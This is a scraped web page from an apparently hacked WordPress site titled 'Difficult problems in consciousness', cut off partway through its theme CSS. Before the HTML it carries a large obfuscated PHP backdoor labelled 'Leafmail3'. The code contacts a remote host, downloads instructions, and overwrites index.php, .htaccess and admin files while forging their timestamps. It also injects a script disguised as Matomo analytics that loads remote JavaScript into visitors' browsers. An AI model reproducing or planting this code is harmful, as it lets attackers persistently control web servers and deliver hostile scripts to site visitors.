Your IP : 3.142.119.222
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<!DOCTYPE html>
<html class="no-js" lang="en-US">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Difficult problems in consciousness</title>
<meta name="robots" content="max-image-preview:large">
<!-- This site is optimized with the Yoast SEO Premium plugin v11.6 - -->
<style id="classic-theme-styles-inline-css" type="text/css">
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc( + 2px);font-size:}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id="global-styles-inline-css" type="text/css">
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: ;--wp--preset--spacing--30: ;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: ;--wp--preset--spacing--60: ;--wp--preset--spacing--70: ;--wp--preset--spacing--80: ;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: ;}:where(.is-layout-grid){gap: ;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.){gap: 2em;}:where(.){gap: 2em;}:where(.){gap: ;}:where(.){gap: ;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: 